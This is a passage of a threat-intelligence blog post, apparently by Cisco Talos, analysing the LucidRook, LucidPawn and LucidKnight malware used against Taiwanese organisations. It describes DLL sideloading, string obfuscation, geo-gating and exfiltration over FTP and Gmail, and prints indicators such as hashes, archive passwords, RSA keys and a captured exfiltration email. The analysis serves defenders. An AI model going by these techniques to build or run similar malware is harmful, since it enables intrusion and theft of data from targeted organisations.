https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/04/Figure5.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/04/Figure5.png 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/04/Figure5.png 1750w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure 5. LNK target metadata.</span></figcaption></figure><p>The PowerShell process executes the following command:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/04/Figure6.png" class="kg-image" alt="New Lua-based malware &#x201C;LucidRook&#x201D; observed in targeted attacks against Taiwanese organizations" loading="lazy" width="1750" height="596" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/04/Figure6.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/04/Figure6.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/04/Figure6.png 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/04/Figure6.png 1750w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure 6.&#xA0;PowerShell&#xA0;process execution command.</span></figcaption></figure><p>The&#xA0;<code>index.exe</code>&#xA0;file is a legitimate Windows binary associated with the Deployment Image Servicing and Management (DISM) framework. It is abused as a loader to&#xA0;<a href="https://hijacklibs.net/entries/microsoft/built-in/dismcore.html" rel="noreferrer noopener"><u>sideload</u></a>&#xA0;LucidPawn via DLL search order hijacking.</p><p>The LucidPawn dropper embeds two AES-encrypted binaries: a legitimate DISM executable and the&#xA0;LucidRook&#xA0;stager. Upon execution, both binaries are decrypted and written to&#xA0;<code>%APPDATA%\Local\Microsoft\WindowsApps\</code>, with the DISM executable renamed to&#xA0;<code>msedge.exe</code>&#xA0;to impersonate&#xA0;the Microsoft Edge browser and the&#xA0;LucidRook&#xA0;stager written as&#xA0;<code>DismCore.dll</code>.&#xA0;Persistence is&#xA0;established&#xA0;via a LNK file in the Startup folder that launches&#xA0;<code>msedge.exe</code>. After dropping the binaries, LucidPawn launches the DISM executable to sideload the&#xA0;LucidRook&#xA0;stager.&#xA0;&#xA0;</p><p>The LucidPawn dropper also handles decoy documents by locating files with specific document extensions (.pdf, .docx, .doc, .xlsx) in the working directory, copying them to the first layer directory, deleting the original lure LNK file, and opening the decoy using Microsoft Edge to distract the victim.</p><h3 id="exe-based-infection-chain">EXE-based infection chain&#xA0;&#xA0;</h3><p>The second infection chain leverages only a malicious EXE written in the .NET&#xA0;framework without the LucidPawn dropper.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/04/Taiwan-NGO-02.jpg" class="kg-image" alt="New Lua-based malware &#x201C;LucidRook&#x201D; observed in targeted attacks against Taiwanese organizations" loading="lazy" width="2000" height="1477" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/04/Taiwan-NGO-02.jpg 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/04/Taiwan-NGO-02.jpg 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/04/Taiwan-NGO-02.jpg 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w2400/2026/04/Taiwan-NGO-02.jpg 2400w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure 7.&#xA0;EXE-based infection&#xA0;chain.</span></figcaption></figure><p>Talos&#xA0;observed the EXE-based infection chain in samples uploaded to public malware&#xA0;repositories in December 2025. The samples were distributed as password&#xA0;protected 7-Zip archives&#xA0;named &#x201C;Cleanup(&#x5BC6;&#x78BC;&#xFF1A;33665512).7z&#x201D;.&#xA0;Based on the Traditional Chinese language&#xA0;used in the archive filename, the language shown in the malicious dropper,&#xA0;and the&#xA0;geographic context of the sample upload locations, we assess with moderate to high&#xA0;confidence that the campaign was intended to target Taiwanese entities.</p><p>The 7-Zip archive&#xA0;contains&#xA0;a single executable file named&#xA0;<code>Cleanup.exe</code>. The extracted&#xA0;binary masquerades as Trend Micro&#x2122; Worry-Free&#x2122; Business Security Services, using a&#xA0;forged application name and icon to impersonate a legitimate security product. In addition,&#xA0;the binary&#xA0;contains&#xA0;a compilation timestamp that is clearly falsified (2065-01-12 14:12:28&#xA0;UTC).</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/04/Figure8.png" class="kg-image" alt="New Lua-based malware &#x201C;LucidRook&#x201D; observed in targeted attacks against Taiwanese organizations" loading="lazy" width="230" height="188"><figcaption><span style="white-space: pre-wrap;">Figure 8.&#xA0;The EXE dropper forged as Trend Micro&#xA0;product.</span></figcaption></figure><p>The executable is a simple dropper written with the .NET framework. It embeds three&#xA0;binary&#xA0;files as Base64-encoded data within its code and, upon execution, decodes and drops these files into the&#xA0;<code>C:\ProgramData</code>&#xA0;directory. The dropped files include a legitimate DISM&#xA0;executable, the&#xA0;LucidRook&#xA0;stager, and a LNK file placed in the Startup folder to&#xA0;establish&#xA0;persistence.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/04/Figure9.png" class="kg-image" alt="New Lua-based malware &#x201C;LucidRook&#x201D; observed in targeted attacks against Taiwanese organizations" loading="lazy" width="1450" height="730" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/04/Figure9.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/04/Figure9.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/04/Figure9.png 1450w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure 9.&#xA0;Decompiled code of the EXE&#xA0;dropper.</span></figcaption></figure><p>After execution, the program displays a decoy message box claiming that the cleanup process has&#xA0;completed.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/04/Figure10.png" class="kg-image" alt="New Lua-based malware &#x201C;LucidRook&#x201D; observed in targeted attacks against Taiwanese organizations" loading="lazy" width="424" height="344"><figcaption><span style="white-space: pre-wrap;">Figure&#xA0;10.&#xA0;Decoy message&#xA0;box from the&#xA0;dropper.</span></figcaption></figure><h2 id="lucidrook-lua-based-stager">LucidRook Lua-based&#xA0;stager&#xA0;</h2><p>LucidRook&#xA0;is a sophisticated 64-bit Windows DLL stager consisting of a Lua interpreter, embedded Rust-compiled libraries, and Lua bytecode payload. The DLL embeds a Lua 5.4.8 interpreter and retrieves a staged payload (in our sample named&#xA0;<code>archive1.zip</code>) from its C2 over FTP. After unpacking and&#xA0;validating&#xA0;the downloaded stage, the implant loads and executes the resulting Lua bytecode on the compromised host. Embedding the Lua interpreter effectively turns the native DLL into a stable execution platform while allowing the threat actor to update or tailor behavior&#xA0;for each&#xA0;target or campaigns by updating the Lua bytecode payload with a lighter and more flexible development process. This approach also improves operational security, since the Lua stage can be hosted only briefly and removed from C2 after delivery, and it can hinder post-incident reconstruction when defenders recover only the loader without the externally delivered Lua payload.&#xA0;&#xA0;</p><p>Due to the embedded Lua interpreter and stripped Rust-compiled components, the DLL is complex to reverse engineer. The binary is approximately 1.6MB in size and&#xA0;contains&#xA0;over 3,800 functions, reflecting the amount of runtime and library code bundled into a single module. Execution is&#xA0;initiated&#xA0;via the&#xA0;<code>DllGetClassObject</code>&#xA0;export; however, the sample implements no COM functionality and uses the export solely as an entry point.</p><p>Upon execution, the&#xA0;malware&#x2019;s&#xA0;core workflow is twofold. First, it performs host reconnaissance, collecting system information that is encrypted, packaged, and exfiltrated to the C2 infrastructure. It then retrieves an encrypted, staged Lua bytecode payload from the C2 server, which is&#xA0;subsequently&#xA0;decrypted and executed on the compromised host.</p><h3 id="lua-interpreter-embedding-implementation">Lua&#xA0;interpreter&#xA0;embedding&#xA0;implementation&#xA0;</h3><p>LucidRook&#xA0;embeds a Lua 5.4.8 interpreter directly inside the DLL and uses it to execute a downloaded Lua bytecode stage. Before handing the stage to the VM, the loader verifies that the decrypted blob begins with the standard Lua bytecode magic (<code>\x1bLua</code>),&#xA0;indicating&#xA0;the payload is a compiled Lua chunk rather than plaintext script.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/04/Figure11.png" class="kg-image" alt="New Lua-based malware &#x201C;LucidRook&#x201D; observed in targeted attacks against Taiwanese organizations" loading="lazy" width="902" height="102" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/04/Figure11.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/04/Figure11.png 902w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure&#xA0;11.&#xA0;Code to check the Lua bytecode prefix in the downloaded&#xA0;blob.</span></figcaption></figure><p>The Lua runtime is also wrapped with&#xA0;additional&#xA0;controls. Notably, the malware implements a non-standard &#x201C;safe mode&#x201D; that disables&#xA0;<code>package.loadlib</code>&#xA0;(as shown by the unique error string &#x201C;package.loadlibis disabled in safe mode&#x201D;), which prevents Lua payloads from loading arbitrary external DLL-based modules via the standard require/loader pathway. Additionally, in the library initialization flow&#xA0;observed, the malware opens common standard libraries (e.g., io,&#xA0;os, string, math, package) but does not open the debug library, which would normally provide powerful introspection primitives; this omission is consistent with an anti-analysis hardening choice.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/04/Figure12.png" class="kg-image" alt="New Lua-based malware &#x201C;LucidRook&#x201D; observed in targeted attacks against Taiwanese organizations" loading="lazy" width="902" height="456" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/04/Figure12.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/04/Figure12.png 902w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure&#xA0;12.&#xA0;Code in the interpreter to load the&#xA0;libraries.</span></figcaption></figure><h3 id="string-obfuscation-scheme">String&#xA0;obfuscation&#xA0;scheme&#xA0;</h3><p>The&#xA0;LucidRook&#xA0;samples employ a sophisticated string obfuscation scheme. The obfuscation was applied to&#xA0;almost all&#xA0;the embedded strings including file extensions, internal identifiers, and C2&#xA0;addresses. This transformation increases&#xA0;the difficulty of&#xA0;analysis&#xA0;and&#xA0;detection.</p><p>The&#xA0;deobfuscation&#xA0;follows a structured two-stage runtime process:&#xA0;</p><ol><li><strong>Address</strong>&#xA0;<strong>calculation:</strong>&#xA0;Rather than using direct offsets, the malware calculates the memory address of an encrypted string through a unique series of arithmetic operations for each&#xA0;string.&#xA0;This design prevents cross-referencing encrypted data blocks to their use-sites for reverse&#xA0;engineering.&#xA0;&#xA0;</li><li><strong>Runtime key reconstruction and XOR decryption:</strong>&#xA0;Each 4-byte chunk is decrypted using XOR with a key that is not hardcoded&#xA0;directly.&#xA0;Instead, the key is reconstructed at runtime by combining a constant seed&#xA0;value (ending in&#xA0;<code>0x00</code>) and a single-byte mask read from a parallel lookup table:&#xA0;<code>Plaintext =&#xA0;Ciphertext ^&#xA0;(Seed&#xA0;|&#xA0;Mask)</code></li></ol><p>The use of a parallel lookup table for masks significantly complicates the creation of automated &quot;unpacking&quot; scripts, as the relationship between the encrypted string and its corresponding mask is obscured by the flattened control&#xA0;flow.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/04/Figure13.png" class="kg-image" alt="New Lua-based malware &#x201C;LucidRook&#x201D; observed in targeted attacks against Taiwanese organizations" loading="lazy" width="902" height="420" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/04/Figure13.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/04/Figure13.png 902w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure 13.&#xA0;Decompiled code for file extension string&#xA0;deobfuscation.</span></figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/04/Figure14.png" class="kg-image" alt="New Lua-based malware &#x201C;LucidRook&#x201D; observed in targeted attacks against Taiwanese organizations" loading="lazy" width="560" height="470"><figcaption><span style="white-space: pre-wrap;">Figure&#xA0;14.&#xA0;Address computation for&#xA0;string &#x201C;docx&#x201D;.&#xA0;</span></figcaption></figure><h3 id="host-reconnaissance">Host reconnaissance&#xA0;</h3><p>The malware collects several system information including user account name, computer name, driver information, user profile directory, installed applications, running process,&#xA0;and so on. The collected information is stored into&#xA0;three&#xA0;files (named&#xA0;<code>1.bin</code>,&#xA0;<code>2.bin</code>,&#xA0;<code>3.bin</code>) with two layers of encryptions: RSA and&#xA0;a&#xA0;password-encrypted ZIP&#xA0;archive. The&#xA0;BIN&#xA0;files are encrypted with an embedded RSA public key (DER hash&#xA0;<code>ab72813444207dba5429cf498c6ffbc69e1bd665d8007561d0973246fa7f8175</code>) and then&#xA0;compressed&#xA0;into a ZIP file encrypted with&#xA0;password&#xA0;<code>!,OO5*+ZEYORE%&amp;.K1PQHxiODU^RA046</code>. With these encryptions in place, the exfiltrated data can only be decrypted by the threat actor.&#xA0;The decrypted RSA public key used to encrypt exfiltrated data is:</p>
<!--kg-card-begin: html-->
<pre>-----BEGIN RSA PUBLIC KEY----- 
MIIBCgKCAQEA3YeM0FbZO8QB3/ctZd2+oS8weSUwmgp33c5lVJ8InJx5yJJnXF+8 
qLL+nzwcItVQyAQbZBymN9ueIgkNRBQuRJgZOxLHG2cbNIWXMImKb5zkkyIUfCz1 
hLprvBu4i2IIeWTFyTLfIpwZ/rUn+lARRmIeWTmJezOaSh5QvVaF6Oqk5qoTXk9A 
MivxKnfFiMhlBh3/V6S4+gTzqy7IwgSuPv8IL6n5LF+N8DmIvAVCck1e2KIYMu54 
UT7ef16N60LVksADJsnk+E5CSOeD4FzSTjS9G9c3sZFP/7r7xAbr5CbKvaBvJ+49 
7OlzJjaq1H+M7aOAPKaf/hyewEHIr+W1EQIDAQAB 
-----END RSA PUBLIC KEY----- </pre>
<!--kg-card-end: html-->
<p>The encrypted data is archived into a file named&#xA0;<code>archive4.zip</code>&#xA0;and uploaded to the C2 FTP server using authenticated credentials obfuscated and embedded in the&#xA0;stager.&#xA0;</p><h3 id="c2-communication">C2&#xA0;communication&#xA0;</h3><p>The&#xA0;LucidRook&#xA0;stager communicates with the abused/compromised FTP servers to not only upload the collected system information but also to download and execute Lua bytecode payload to achieve remote code execution.&#xA0;</p><p><strong>FTP&#xA0;servers with&#xA0;publicly&#xA0;exposed&#xA0;credentials&#xA0;</strong></p><p>LucidRook&#xA0;uses plaintext FTP for both staging and exfiltration. In the observed captures, the implant authenticates with embedded credentials, switches to binary mode (TYPE I), enters passive mode (PASV), and uploads the exfiltrated information in an archive named&#xA0;<code>archive4.zip</code>&#xA0;via STOR before closing the session. It then&#xA0;establishes&#xA0;a second FTP session and&#xA0;attempts&#xA0;to retrieve&#xA0;<code>archive1.zip</code>&#xA0;(payload) via RETR.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/04/Figure15.png" class="kg-image" alt="New Lua-based malware &#x201C;LucidRook&#x201D; observed in targeted attacks against Taiwanese organizations" loading="lazy" width="550" height="624"><figcaption><span style="white-space: pre-wrap;">Figure&#xA0;15.&#xA0;Communication with C2&#xA0;server.&#xA0;</span></figcaption></figure><p>The&#xA0;LucidRook&#xA0;samples connect to C2 infrastructure that&#xA0;appears to abuse&#xA0;FTP servers with exposed credentials to retrieve staged payloads.&#xA0;Talos&#xA0;identified&#xA0;two such C2 servers, both&#xA0;located&#xA0;in Taiwan and&#xA0;operated&#xA0;by printing companies. Initially, it was unclear why the threat actor selected this infrastructure; however, further investigation revealed that both companies publicly listed FTP credentials on their official websites as part of a &#x201C;file uploading service&quot;.&#xA0;We&#xA0;observed&#xA0;that this practice is common among local printing companies and effectively creates a pool of publicly accessible, low&#x2011;cost infrastructure that can be repurposed by threat actors as low-cost C2 staging servers.</p><h3 id="stealthy-payload-protections">Stealthy&#xA0;payload&#xA0;protections&#xA0;</h3><p>Besides what we&#xA0;previously&#xA0;mentioned about the encryption for the exfiltrated data,&#xA0;the threat actor also employed stealthy protection for the downloaded payload. The&#xA0;LucidRook&#xA0;sample Talos obtained (<code>edb25fed9df8e9a517188f609b9d1a030682c701c01c0d1b5ce79cba9f7ac809</code>) uses the&#xA0;password&#xA0;<code>?.aX$p8dpiP$+4a$x?=0LC=M&gt;^&gt;f6N]a</code>&#xA0;to decrypt the archive when&#xA0;it&#x2019;s&#xA0;protected and requires that an&#xA0;<code>index.bin</code>&#xA0;file be found within the ZIP archive. After decryption, it uses a different RSA private key&#xA0;(DER hash&#xA0;<code>7e851b73bd59088d60101109c9ebf7ef300971090c991b57393e4c793f5e2d33</code>)&#xA0;embedded and encrypted inside the malware to decrypt the payload.&#xA0;The corresponding public&#xA0;key (DER hash&#xA0;<code>a42ad963c53f2e0794e7cd0c3632cc75b98f131c3ffceb8f2f740241c097214a</code>) for this private key&#xA0;is:</p>
<!--kg-card-begin: html-->
<pre>-----BEGIN PUBLIC KEY----- 
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEArQ9deG1+FiOgxT2eX78n 
3Ni/PmrV/V6iuf+bc+ii+9wD6Pyc7QyicaZODr2YlKifwJabJuDsIcANRIQGBLf2 
8j0yG3x25rP4XTnavTyPB6s+fJgNebmB9Hhgx3AY25ufJvNAelnmXnPn/xp6tZ/V 
kup72tiwKWeBVJOZYW3qYno4n5hffdNqTFIgUZDDLhqa+nT1gD6LZ6W/BidIM70O 
gn2h8ppc8aKc893FkfvNYwhgubiDFv9rgvSVvxt0uTVERtBsCyAScD1MMvswEyK6 
LrgnyTz7KwOv5wyPfE3BPs8lpMQIyi/jcIIroyk9uLarfV/XIbgTOqEYf5/9bDSs 
iQIDAQAB 
-----END PUBLIC KEY----- </pre>
<!--kg-card-end: html-->
<p>During investigation, Talos obtained a payload from a private source which matched the&#xA0;<code>index.bin</code>&#xA0;file structure. However, the password from the&#xA0;LucidRook&#xA0;sample we got&#xA0;was not able to&#xA0;decrypt the archive. We also obtained another version of the payload from the FTP C2&#xA0;server, but this payload includes four files that&#xA0;does&#xA0;not match the version of&#xA0;LucidRook&#xA0;sample we analyzed as shown in&#xA0;Figure 16.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/04/Figure16.png" class="kg-image" alt="New Lua-based malware &#x201C;LucidRook&#x201D; observed in targeted attacks against Taiwanese organizations" loading="lazy" width="902" height="334" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/04/Figure16.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/04/Figure16.png 902w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure 16.&#xA0;The files inside the downloaded payload&#xA0;file.</span></figcaption></figure><p>Based on this information, we suspect that the threat actor is generating different payloads using different sets of passwords for different targets, even though they&#xA0;share&#xA0;the same C2 server. The files inside the payload also suggest it potentially&#xA0;leverages&#xA0;different modules for different capabilities for the stager.&#xA0;</p><h2 id="lucidpawn-dropper">LucidPawn&#xA0;dropper&#xA0;</h2><p>The&#xA0;LucidPawn dropper shares some similarity with LucidRook, including the same COM DLL masquerade technique, obfuscation scheme,&#xA0;and Rust-compiled&#xA0;code.&#xA0;</p><h3 id="leveraging-an-oast-service">Leveraging an&#xA0;OAST service&#xA0;</h3><p>Upon execution,&#xA0;the&#xA0;LucidPawn&#xA0;dropper sends a DNS request to a domain&#xA0;&#x201C;D.2fcc7078.digimg[.]store&#x201D;.&#xA0;The domain&#xA0;&#x201C;digimg[.]store&#x201D;&#xA0;redirects&#xA0;to&#xA0;&#x201C;dnslog[.]ink&#x201D;,&#xA0;a public&#xA0;Chinese&#xA0;<a href="https://portswigger.net/kb/issues/00300200_external-service-interaction-dns" rel="noreferrer noopener"><u>Out-of-band Application Security Testing (OAST)</u>&#xA0;<u>service</u></a>.&#xA0;It is&#xA0;<a href="https://www.bitdefender.com/en-us/blog/businessinsights/bitdefender-advisory-critical-unauthenticated-rce-windows-server-update-services-cve-2025-59287" rel="noreferrer noopener"><u>widely used</u></a>&#xA0;by security researchers, penetration testers, and threat actors&#xA0;to verify network connectivity&#xA0;and&#xA0;vulnerability exploitation. By using this service,&#xA0;LucidRookoperators receive confirmation once the exploitation succeeds without setting up their own infrastructure.&#xA0;It is worth noting that the same service domain has been&#xA0;leveraged&#xA0;in other targeted campaigns; however, because the service is publicly accessible and can be used by any threat actor,&#xA0;Talos&#xA0;avoids&#xA0;making attribution based solely on this linkage.</p><h2 id="geo-targeting-anti-analysis">Geo-targeting&#xA0;anti-analysis&#xA0;</h2><p>LucidPawn implements a geo-targeting&#xA0;anti-analysis execution gate by querying the host&#x2019;s Windows UI language via&#xA0;the&#xA0;<code>GetUserDefaultUILanguage()</code>&#xA0;API. Execution continues only when the system UI language matches Traditional Chinese environments associated with Taiwan.</p><p>The implementation compares a masked LANGID against 0x0404 (zh-TW). The mask&#xA0;and&#xA0;0xF7FF clears bit 0x0800, causing only 0x0404 (zh-TW) and 0x0C04 (zh-HK) to&#xA0;normalize to&#xA0;the same value and satisfy the check. As a result, the sample exits early on most&#xA0;analysis&#xA0;sandboxes, which commonly use 0x0409 (en-US). This control reduces exposure by limiting execution to the intended&#xA0;victim&#xA0;geography and suppressing behavior in common analyst environments.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/04/Figure17.png" class="kg-image" alt="New Lua-based malware &#x201C;LucidRook&#x201D; observed in targeted attacks against Taiwanese organizations" loading="lazy" width="902" height="82" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/04/Figure17.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/04/Figure17.png 902w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure 17.&#xA0;Code for geo-targeting&#xA0;anti-analysis.</span></figcaption></figure><h2 id="the-lucidknight-reconnaissance-tool">The&#xA0;LucidKnight&#xA0;reconnaissance&#xA0;tool&#xA0;</h2><p>While hunting for&#xA0;additional&#xA0;LucidPawn samples, we&#xA0;identified&#xA0;a variant of LucidPawn (<code>d8bc6047fb3fd4f47b15b4058fa482690b5b72a5e3b3d324c21d7da4435c9964</code>). This sample shares the same geo-targeting&#xA0;anti-analysis logic&#xA0;observed&#xA0;in other samples used to deliver&#xA0;LucidRook. Compared with the LucidPawn samples associated with&#xA0;LucidRook&#xA0;delivery, however, this variant omits the callback to the out-of-band interactive service domain and functions solely as a dropper, deploying the reconnaissance tool&#xA0;LucidKnight (<code>aa7a3e8b59b5495f6eebc19f0654b93bb01fd2fa2932458179a8ae85fb4b8ec1</code>) after execution.</p><p>Like other malware in the Lucid family,&#xA0;LucidKnight&#xA0;is a 64-bit Windows DLL that&#xA0;contains&#xA0;embedded Rust-compiled components to implement various functions. The malware also uses a string obfuscation scheme&#xA0;similar to&#xA0;those&#xA0;observed&#xA0;in LucidPawn and&#xA0;LucidRook&#xA0;to conceal its C2 configuration.</p><p>Upon execution,&#xA0;LucidKnight&#xA0;collects system information including the computer name, OS version, processor architecture, CPU usage, running processes, and installed software. The collected data are written to four TXT files, encrypted with an embedded RSA public key, and packaged into a password-protected ZIP archive named&#xA0;<code>archive.zip</code>&#xA0;using the password&#xA0;<code>xZh&gt;1&lt;{Km1YD3[V&gt;x]X&gt;=1u(Da)Y=N&gt;u</code>. The embedded RSA public key (DER hash&#xA0;<code>852a80470536cb1fdab1a04d831923616bf00c77320a6b4656e80fc3cc722a66</code>) is shown below:</p>
<!--kg-card-begin: html-->
<pre>-----BEGIN RSA PUBLIC KEY----- 
MIIBCgKCAQEAuvXyx+rPGjS/bI6cvl8LIVVatwD6JU19EvJPlBWlmPqVm/se+3QS 
9av+X8PFgwoGXJZTEanAY4JhOMXKYSbErwrLktbEY2tFi7w3/WyPPcB6/I6zD2yU 
Mqcoqy1Z3+4CsLz4D/LZtOst4alSGOgTDeKtrWKHCyigFvndfds4pdCy78KBRtQb 
kV3UUlKQZm/37tP0CPXkKwxQ1n/+DTh265gRaVrhr4+VUagNmYta1faMLsvM8O3F 
Lu2tQiOxeSZC21z6V3kcifYiBLT0khx11JqD3jTfA41OcngZfwWYHbitDBZF7rpL 
26ZSitNxMAq1O6DrXzI5wdVn0fZgSXNEbwIDAQAB 
-----END RSA PUBLIC KEY----- </pre>
<!--kg-card-end: html-->
<p>Unlike&#xA0;LucidRook, which uploads collected system information to a compromised FTP server,&#xA0;LucidKnight&#xA0;exfiltrates reconnaissance data via email using the embedded&#xA0;<a href="https://docs.rs/lettre/latest/lettre/" rel="noreferrer noopener"><u>Rust lettre crate</u></a>, which provides SMTP message creation and delivery functionality.</p><p>Specifically, the malware constructs an email with the Traditional Chinese subject &#x201C;&#x904B;&#x52D5;&#x8CC7;&#x8A0A;&#x5E73;&#x53F0;&#x201D; (&#x201C;Sports Information Platform&#x201D;) and includes the collected data as a MIME attachment.&#xA0;It then resolves&#xA0;&#x201C;smtp.gmail.com&#x201D;, authenticates to the Gmail account&#xA0;&#x201C;fexopuboriw972@gmail.com&quot;&#xA0;with an embedded application key, and sends the data to the temporary email address&#xA0;&#x201C;crimsonanabel@powerscrews.com&quot;. The following email shows an example of the content crafted by&#xA0;LucidKnight:</p>
<!--kg-card-begin: html-->
<pre>From: fexopuboriw972@gmail.com 
To: crimsonanabel@powerscrews.com 
Subject: =?utf-8?b?6YGL5YuV6LOH6KiK5bmz5Y+w?= 
MIME-Version: 1.0 
Date: Tue, 17 Feb 2026 02:05:49 +0000 
Content-Type: multipart/mixed; 
 boundary=&quot;vlOcEyPfxrLCR89C5RuARsViLsqzv1brB2u8YvNd&quot; 
--vlOcEyPfxrLCR89C5RuARsViLsqzv1brB2u8YvNd 
Content-Type: text/plain; charset=utf-8 
Content-Transfer-Encoding: base64 
5oKo6KqN54K65Y+w54Gj55uu5YmN5Zyo6Jed5paH5rC457qM55m85bGV55qE5pS/562W5LiK5pyJ 
5ZOq5Lqb5YW36auU55qE5oiQ5Yqf5qGI5L6L5oiW5YC85b6X5pS56YCy55qE5Zyw5pa577yf 
--vlOcEyPfxrLCR89C5RuARsViLsqzv1brB2u8YvNd 
Content-Type: application/zip 
Content-Disposition: attachment; filename=&quot;archive.zip&quot; 
Content-Transfer-Encoding: base64 
UEsDBDMAAQBjALgQUVwEOkfvkhkAAHEZAAAFAAsAMS50eHQBmQcAAQBBRQMIAEF/fb/F6o3HptX3 
(redacted)</pre>
<!--kg-card-end: html-->
<figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/04/Figure18.png" class="kg-image" alt="New Lua-based malware &#x201C;LucidRook&#x201D; observed in targeted attacks against Taiwanese organizations" loading="lazy" width="1214" height="456" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/04/Figure18.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/04/Figure18.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/04/Figure18.png 1214w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure&#xA0;18.&#xA0;Email sent by&#xA0;LucidKnight&#xA0;malware with collected data attached.</span></figcaption></figure><p>The discovery of&#xA0;LucidKnight&#xA0;suggests that the actor&#xA0;maintains&#xA0;a modular toolkit and may select components based on the operational context of each target, rather than deploying a fixed infection chain.&#xA0;LucidKnight&#xA0;may be used independently when lightweight reconnaissance is sufficient, or as a precursor to assess targets before committing the more complex&#xA0;LucidRook&#xA0;stager.&#xA0;</p><h2 